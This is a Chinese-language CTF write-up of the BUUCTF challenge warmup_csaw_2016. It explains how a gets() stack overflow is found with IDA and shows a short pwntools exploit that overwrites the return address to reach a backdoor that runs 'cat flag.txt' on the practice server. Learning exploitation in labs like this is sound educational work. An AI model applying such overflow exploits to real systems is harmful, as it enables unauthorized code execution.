week1 T3


T3 warmup_csaw_2016

2023-01-06WP
BUUCTF pwn第三题
考点:栈溢出,与上题类似

0x01 checksec

下载文件,没有开启任何保护(看大佬博客里说按经验这种情况一般就是栈溢出了)

0x02 IDA

f5反汇编,main函数里有一个gets()函数

看到返回一个gets()函数,可利用栈溢出
但是这个两个参数的gets函数没有看懂……
那个write和sprintf函数也没看懂……
shift+f12调出string window 查看字符串,虽然没有/bin/sh,但是找到了一个cat flag.txt,应该可以利用

双击cat flag.txt进去看看,X一下发现是在sub_40060D函数里,反汇编再看一下发现我们想要的system()就在这,若能调用它的话就能直接命令抓取flag了呀


接下来就是记下sub_40060D函数的地址0x40060D,并将其作为溢出的返回地址(也可以记把偏移量压入寄存器那条汇编指令处的地址0x40011)

又因为要gets的v5的大小为0x40h,所以与返回地址的距离是0x40+8(rbp的长度)


0x03 exp

写出exploit

from pwn import *
p = remote('node4.buuoj.cn',25916)
payload='a'*(0x40+8)+p64(0x400611)
p.sendline(payload)
p.interactive()

得到flag

0x04 thinking

这题跟上一题一样,都是栈溢出,都是将某个后门函数的地址覆盖掉返回地址
一开始没反应过来cat flag.txt可以直接用,还在那找/bin/sh,
还是对信息不太敏感……
不过对栈的相关知识的学习还是让人感觉有收获的


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录